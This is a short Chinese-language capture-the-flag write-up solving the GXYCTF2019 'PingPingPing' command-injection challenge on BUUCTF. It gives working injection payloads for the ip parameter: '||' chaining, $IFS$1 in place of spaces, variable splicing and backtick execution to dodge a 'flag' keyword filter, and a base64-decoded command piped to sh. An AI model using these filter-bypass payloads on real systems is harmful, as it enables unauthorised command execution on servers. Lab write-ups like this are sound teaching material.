GXYCTF2019-PingPingPing

 · 2020-6-17  ·次阅读


题目地址:buuctf

打开题目

1

只有一个/?ip=

尝试传?ip=127.0.0.1,得到回显

2

利用管道符漏洞,传?ip=127.0.0.1||ls

3

看到flag.php 传?ip=127.0.0.1||cat%20flag.php

4

尝试传一下,得知如果我们传入的字符含有flag空格或者/,那么就会返回错误

这里用$IFS$1来绕过空格的限制,传?ip=127.0.0.1||cat$IFS$1index.php

5

可以看到确实过滤了很多

这里我用三种办法

1.变量替换

preg_match("/.*f.*l.*a.*g.*/", $ip

因为这个会判断输入语句中是否按顺序出现f l a g,所以我们用

?ip=127.0.0.1||a=g;cat$IFS$1fla$a.php

2.内敛执行

?ip=127.0.0.1||a=g;cat$IFS$1`ls`

3.sh

既然过滤了bash,那么可以用sh

?ip=127.0.0.1||echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

其中Y2F0IGZsYWcucGhw是base64加密之后的cat flag.php

关于命令执行的绕过,可以参考ghtwf01师傅的这篇文章:命令执行漏洞利用及绕过方式总结